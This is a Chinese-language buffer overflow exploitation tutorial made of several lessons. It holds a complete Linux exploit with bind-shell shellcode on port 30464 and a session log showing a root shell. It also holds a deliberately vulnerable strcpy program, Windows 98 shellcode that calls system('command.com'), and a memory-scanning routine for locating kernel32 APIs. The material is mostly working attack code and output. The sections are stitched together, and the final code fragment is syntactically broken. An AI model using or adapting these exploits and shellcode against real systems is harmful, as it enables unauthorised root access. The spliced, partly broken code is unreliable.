b1
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好,长长的shell终于写完了,下面就是攻击程序了。
exploit4.c
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#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<netdb.h>
#include<netinet/in.h>
#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 200
#define NOP 0x90
char shellcode[]=
"/x31/xc0" /* xorl %eax,%eax */
"/xb0/x02" /* movb $0x2,%al */
"/xcd/x80" /* int $0x80 */
"/x85/xc0" /* testl %eax,%eax */
"/x75/x43" /* jne 0x43 */
"/xeb/x43" /* jmp 0x43 */
"/x5e" /* popl %esi */
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xf1" /* movl %esi,%ecx */
"/xb0/x02" /* movb $0x2,%al */
"/x89/x06" /* movl %eax,(%esi) */
"/xb0/x01" /* movb $0x1,%al */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/xb0/x06" /* movb $0x6,%al */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x01" /* movb $0x1,%bl */
"/xcd/x80" /* int $0x80 */
"/x89/x06" /* movl %eax,(%esi) */
"/xb0/x02" /* movb $0x2,%al */
"/x66/x89/x46/x0c" /* movw %ax,0xc(%esi) */
"/xb0/x77" /* movb $0x77,%al */
"/x66/x89/x46/x0e" /* movw %ax,0xe(%esi) */
"/x8d/x46/x0c" /* leal 0xc(%esi),%eax */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x89/x46/x10" /* movl %eax,0x10(%esi) */
"/xb0/x10" /* movb $0x10,%al */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x02" /* movb $0x2,%bl */
"/xcd/x80" /* int $0x80 */
"/xeb/x04" /* jmp 0x4 */
"/xeb/x55" /* jmp 0x55 */
"/xeb/x5b" /* jmp 0x5b */
"/xb0/x01" /* movb $0x1,%al */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x04" /* movb $0x4,%bl */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x05" /* movb $0x5,%bl */
"/xcd/x80" /* int $0x80 */
"/x88/xc3" /* movb %al,%bl */
"/xb0/x3f" /* movb $0x3f,%al */
"/x31/xc9" /* xorl %ecx,%ecx */
"/xcd/x80" /* int $0x80 */
"/xb0/x3f" /* movb $0x3f,%al */
"/xb1/x01" /* movb $0x1,%cl */
"/xcd/x80" /* int $0x80 */
"/xb0/x3f" /* movb $0x3f,%al */
"/xb1/x02" /* movb $0x2,%cl */
"/xcd/x80" /* int $0x80 */
"/xb8/x2f/x62/x69/x6e" /* movl $0x6e69622f,%eax */
"/x89/x06" /* movl %eax,(%esi) */
"/xb8/x2f/x73/x68/x2f" /* movl $0x2f68732f,%eax */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x88/x46/x07" /* movb %al,0x7(%esi) */
"/x89/x76/x08" /* movl %esi,0x8(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/xb0/x01" /* movb $0x1,%al */
"/x31/xdb" /* xorl %ebx,%ebx */
"/xcd/x80" /* int $0x80 */
"/xe8/x5b/xff/xff/xff" /* call -0xa5 */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
long getip(char *name)
{
struct hostent *hp;
long ip;
if((ip=inet_addr(name))==-1)
{
if((hp=gethostbyname(name))==NULL)
{
fprintf(stderr,"Can"t resolve host./n");
exit(0);
}
memcpy(&ip,(hp->h_addr),4);
}
return ip;
}
int exec_sh(int sockfd)
{
char snd[4096],rcv[4096];
fd_set rset;
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd,&rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}
int connect_sh(long ip)
{
int sockfd,i;
struct sockaddr_in sin;
printf("Connect to the shell/n");
fflush(stdout);
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(30464);
sin.sin_addr.s_addr=ip;
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Can"t create socket/n");
exit(0);
}
if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
{
printf("Can"t connect to the shell/n");
exit(0);
}
return sockfd;
}
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
int sockfd;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i<bsize;i+=4)
{
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]="/0"
printf("Jump to 0x%08x/n",addr);
if(fork()==0)
{
execl("./vulnerable","vulnerable",buff,0);
exit(0);
}
sleep(5);
sockfd=connect_sh(getip("127.0.0.1"));
exec_sh(sockfd);
}
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算法很简单,先生成溢出串,格式为:NNNNSSSSAAAA。然后起一个子进程执行目标
程序
来模拟网络daemon,参数为我们的字符串。好,堆栈溢出发生了。我们的
shellcode被
执行,那么在30464端口就会有server在listen了。
父进程睡五秒,等待这些完成。就连接本机的端口30464。连接建立后,从socket
读取
收到的字符串,打印到标准输出,从标准输入读取字符串,传到socket的server端
下面来试一试:
我们先写一个漏洞程序:
vulnerable.C
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#include <stdio.h>
int main(int argc,char ** argv)
{
char buffer[1000];
printf("I am here%x,buffer%d/n",buffer,strlen(argv[1]));
strcpy(buffer,argv[1]);
return 0;
}
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[nkl10]$Content$nbsp;./exploit
Jump to 0xbffff63c
I am herebffff280,buffer1224
Connect to the shell
Can"t connect to the shell
看到了吗?我在vulnerable.C里面加入了一个printf,打印buffer的首地址,这样
就可以
不用猜了。0xbffff63c-0xbffff280 = 956,好,就用956来进行偏移。
[nkl10]$./exploit 956
Jump to 0xbffff280
I am herebffff280,buffer1224
connect to shell
whoami
root
id
uid=0(root)......
uname -a
Linux localhost.localdomain 2.2.5-15。。。
嘿嘿,大功告成了。
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window系统下的堆栈溢出--原理篇
这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序
的
堆栈溢出漏洞。
让我们从头开始。windows 98第二版
首先,我们来写一个问题程序:
#include <stdio.h>
int main()
{
char name[32];
gets(name);
for(int i=0;i<32&&name[i];i++)
printf("//0x%x",name[i]);
}
相信大家都看出来了,gets(name)对name数组没有作边界检查。那么我们可以给程
序
一个很长的串,肯定可以覆盖堆栈中的返回地址。
C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaa
/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0
x61/0x61
/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0x61/0
x61/0x61
到这里,出现了那个熟悉的对话框“该程序执行了非法操作。。。”,太好了,点
击
详细信息按钮,看到EIP的值是0x61616161,哈哈,对话框还会把返回地址告诉我
们。
这个功能太好了,我们可以选择一个序列的输入串,精确的确定存放返回地址的偏
移位置。
C:/Program Files/DevStudio/MyProjects/bo/Debug>vunera~1
12345678910111213141516171819202122232425262728293031323334353637383940
/0x31/0x32/0x33/0x34/0x35/0x36/0x37/0x38/0x39/0x31/0x30/0x31/0x31/0x31/0
x32/0x31
/0x33/0x31/0x34/0x31/0x35/0x31/0x36/0x31/0x37/0x31/0x38/0x31/0x39/0x32/0
x30/0x32
到这里,又出现了那个熟悉的对话框“改程序执行了非法操作。。。”,点击详细
信息
按钮,下面是详细信息:
VUNERABLE 在 00de:32363235 的模块
<未知> 中导致无效页错误。
Registers:
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233
ECX=00000020 DS=0187 ESI=816bffcc FS=11df
EDX=00411a68 ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:
Stack dump:
32383237 33303339 33323331 33343333 33363335 33383337 c0000005
0064ff68
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78
bff8b86c
哦哦,EIP的内容为0x32363235,就是2625,EBP的内容为0x32343233,就是2423,计
算
一下可以知道,在堆栈中,从name变量地址开始偏移36处,是EBP的地址,从name
变量
地址开始偏移40处,是ret的地址。我们可以给name数组输入我们精心编写的
shellcode。
我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么,name的开始
地址
是多少呢?
通过上面的stack dump 我们可以看到,当前ESP所指向的地址0x0064fe00,内容为
0x32383237,那么计算得出,name的开始地址为:0x0064fe00-44=0x64fdd4。在
windows
系统,其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址
都
是相同的。也就是说,每次运行,name的地址都是0x64fdd4。
讲到这里,大家一定已经发现了这样一个情况:在win系统中,由于有地址冲突检
测,
出错时寄存器影像和堆栈影像,使得我们对堆栈溢出漏洞可以进行精确的分析
溢出偏移地址。这就使我们可以精确的方便的寻找堆栈溢出漏洞。
OK,万事具备,只差shellcode了。
首先,考虑一下我们的shellcode要作什么?显然,根据以往的经验,我们想开一
个
dos窗口,这样在这个窗口下,我们就可以作很多事情。
开一个dos窗口的程序如下:
#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
char dllbuf[11] = "msvcrt.dll"
char sysbuf[7] = "system"
char cmdbuf[16] = "command.com"
LibHandle = LoadLibrary(dllbuf);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
(ProcAdd) (cmdbuf);
return 0;
}
这个程序有必要详细解释一下。我们知道执行一个command.com就可以获得一个
dos窗口。在C库函数里面,语句system(command.com);将完成我们需要的功能。
但是,windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说
,
windows通过动态链接库来提供系统函数。这就是所谓的Dll"s。
因此,当我们想调用一个系统函数的时候,并不能直接引用他。我们必须找到那个
包含此函数的动态链接库,由该动态链接库提供这个函数的地址。DLL本身也有一
个
基本地址,该DLL每一次被加载都是从这个基本地址加载。比如,system函数由
msvcrt.dll
(the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都从
0x78000000地址开始。system函数位于msvcrt.dll的一个固定偏移处(这个偏移地
址
只与msvcrt.dll的版本有关,不同的版本可能偏移地址不同)。我的系统上,
msvcrt.dll版本为(v6.00.8397.0)。system的偏移地址为0x019824。
所以,要想执行system,我们必须首先使用LoadLibrary(msvcrt.dll)装载动态链接
库
msvcrt.dll,获得动态链接库的句柄。然后使用GetProcAddress(LibHandle,
system)
获得 system的真实地址。之后才能使用这个真实地址来调用system函数。
好了,现在可以编译执行,结果正确,我们得到了一个dos框。
现在对这个程序进行调试跟踪汇编语言,可以得到:
15: LibHandle = LoadLibrary(dllbuf);
00401075 lea edx,dword ptr [dllbuf]
00401078 push edx
00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]
0040107F mov dword ptr [LibHandle],eax
16:
17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
00401082 lea eax,dword ptr [sysbuf]
00401085 push eax
00401086 mov ecx,dword ptr [LibHandle]
00401089 push ecx
0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]
00401090 mov dword ptr [ProcAdd],eax
;现在,eax的值为0x78019824就是system的真实地址。
;这个地址对于我的机器而言是唯一的。不用每次都找了。
18:
19: (ProcAdd) (cmdbuf);
00401093 lea edx,dword ptr [cmdbuf]
;使用堆栈传递参数,只有一个参数,就是字符串"command.com"的地址
00401096 push edx
00401097 call dword ptr [ProcAdd]
0040109A add esp,4
现在我们可以写出一段汇编代码来完成system,看以看我们的执行system调用的代
码
是否能够像我们设计的那样工作:
#include <windows.h>
#include <winbase.h>
void main()
{
LoadLibrary("msvcrt.dll");
__asm {
mov esp,ebp ;把ebp的内容赋值给esp
push ebp ;保存ebp,esp-4
mov ebp,esp ;给ebp赋新值,将作为局部变量
的基指针
xor edi,edi ;
push edi ;压入0,esp-4,
;作用是构造字符串的结尾/0字符
。
sub esp,08h ;加上上面,一共有12个字节,
;用来放"command.com"。
mov byte ptr [ebp-0ch],63h ;
mov byte ptr [ebp-0bh],6fh ;
mov byte ptr [ebp-0ah],6dh ;
mov byte ptr [ebp-09h],6Dh ;
mov byte ptr [ebp-08h],61h ;
mov byte ptr [ebp-07h],6eh ;
mov byte ptr [ebp-06h],64h ;
mov byte ptr [ebp-05h],2Eh ;
mov byte ptr [ebp-04h],63h ;
mov byte ptr [ebp-03h],6fh ;
mov byte ptr [ebp-02h],6dh ;生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ;串地址作为参数入栈
mov eax, 0x78019824 ;
call eax ;调用system
}
}
编译,然后运行。好,DOS框出来了。在提示符下输入dir,copy......是不是想起
了
当年用286的时候了?
敲exit退出来,哎呀,发生了非法操作。Access Violation。这是肯定的,因为我
们的
程序已经把堆栈指针搞乱了。
对上面的算法进行优化,现在我们可以写出shellcode如下:
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};
还记得第二讲中那个测试shellcode的基本程序吗?我们可以用他来测试这个
shellcode:
#include <windows.h>
#include <winbase.h>
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */
0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */
0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */
0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */
0xFF,0xD0 /*call eax */
};
int main() {
int *ret;
LoadLibrary("msvcrt.dll");
ret = (int *)&ret + 2; //ret 等于main()的返回地址
//(+2是因为:有push ebp ,否则加1就可以了。)
(*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地
址。
}
编译运行,得到dos对话框。
现在总结一下。我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计
算
偏移地址,以及如何编写一个shellcode以得到dos。理论上,你已经具备了利用堆
栈溢出
的能力了,下面,我们通过实战来真正掌握他。
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WINDOWS的SHELLCODE编写高级技巧
作者:yuange
unix等系统因为有用户概念,所以往往溢出是使用先得到普通帐号,然后登陆后用溢出
再加载一个SHELL的办法得到ROOT权限,其系统调用又方便,所以SHELLCODE编写一般都比
较简单。但WINDOWS系统往往不提供登陆服务,所以溢出攻击的SHELLCODE往往要提供SOCKET
连接,要加载程序得到SHELL等,而WINDOWS的系统调用int2e接口又不如unix系统调用int80
规范,所以一般都使用API,而API函数地址又因为系统版本的不同而不一样,所以要编写
WINDOWS下面比较实用、通用点的SHELLCODE比较麻烦。
经过一段时间的思考,得到了WINDOWS下编写SHELLCODE的比教好的办法。
1、溢出点确定。使用溢出点附近覆盖一片一个RET指令地址的办法,这样只要知道溢出
点大致范围就可以了。
2、SHELLCODE定位。使用ESP寄存器定位,只要前面那覆盖的RET地址后面放一个JMP
ESP功能的指令地址就可以定位了。
3、RET指令地址、JMP ESP功能指令地址采用代码页里面的地址,54 C3,或者FF E4
、C3这个一个语言的WINDOWS地址固定,也很好找这个地址。
4、SHELLCODE直接使用C语言编写,方便编写、修改、调试。
5、SHELLCODE统一编码,满足应用条件对SHELLCODE字符的限制,用一段小汇编代码解
码,这样编写SHELLCODE就可以不用考虑特殊字符了。
6、通信加密,对付防火墙,实现FTP功能,实现内存直接接管WEB服务等的高级应用。
下面主要介绍介绍编写通用SHELLCODE的办法。主要SHELLCODE里面使用的API自己用
GetProcAddress定位,要使用库用LoadLibraryA加载。那这样SHELLCODE就只依靠这两个
API了。那这两个API的地址又怎么解决呢,LoadLibraryA这个API在系统库KERNEL32.DLL里
面,也可以使用GetProcAddress得到。那关键就是要找到系统库kernel32.dll和
GetProcAddress的地址了。因为一般应用程序都会加载kernel32.dll,所以解决办法就是在
内存里面找到这个系统库和API地址,所幸知道了WINDOWS的模块数据结构也就不难了,主要
是增加异常结构处理 。下面是VC6.0程序代码:
void shellcodefn()
{
int *except[3];
FARPROC procgetadd=0;
char *stradd;
int imgbase,fnbase,i,k,l;
HANDLE libhandle;
_asm {
jmp nextcall
getstradd: pop stradd
lea EDI,except
mov eax,dword ptr FS:[0]
mov dword ptr [edi+0x08],eax
mov dword ptr FS:[0],EDI
}
except[0]=0xffffffff;
except[1]=stradd-0x07;
/* 保存异常结构链和修改异常结构链,SHELLCODE接管异常 */
imgbase=0x77e00000;
/* 搜索KERNEL32.DLL 的起始其实地址 */
call getexceptretadd
}
/* 得到异常后的返回地址 */
for(;imgbase<0xbffa0000,procgetadd==0;){
imgbase+=0x10000;
/* 模块地址是64K为单位,加快速度*/
if(imgbase==0x78000000) imgbase=0xbff00000;
/* 如果到这还没有搜索到,那可能是WIN9X系统 */
if(*( WORD *)imgbase==’ZM’&& *(WORD *)
(imgbase+*(int *)(imgbase+0x3c))==’EP’){
/* 模块结构的模块头 */
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
k=*(int *)(fnbase+0xc)+imgbase;
if(*(int *)k ==’NREK’&&*(int *)(k+4)==’23LE’){
/* 模块名 */
libhandle=imgbase;
/* 得到模块头地址,就是模块句柄 */
k=imgbase+*(int *)(fnbase+0x20);
for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
if(*(int *)(imgbase+*(int *)k)==’PteG’&&*(int *)(4+imgbase+*(int *)k)==’Acor’){
/* 引出名 */
k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
k+=*(int *)(fnbase+0x10)-1;
k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
procgetadd=k+imgbase;
/* API地址 */
break;
}
}
}
}
}
// 搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址
// 注意这儿处理了搜索页面不在情况。
_asm{
lea edi,except
mov eax,dword ptr [edi+0x08]
mov dword ptr fs:[0],eax
}
/* 恢复异常结构链 */
if(procgetadd==0) goto die ;
/* 如果没找到GetProcAddress地址死循环 */
die: goto die ;
_asm{
getexceptretadd: pop eax
push eax
mov edi,dword ptr [stradd]
mov dword ptr [edi-0x0e],eax
ret
/* 得到异常后的返回地址,并填写到异常处理模块 */
/* 异常处理模块 */
errprogram: mov eax,dword ptr [esp+0x0c]
add eax,0xb8
mov dword ptr [eax],0x11223344 //stradd-0xe
/* 修改异常返回EIP指针 */
xor eax,eax //2
/* 不提示异常 */
ret //1
/* 异常处理返回 */
execptprogram: jmp errprogram //2 bytes stradd-7
nextcall: call getstradd //5 bytes
}
}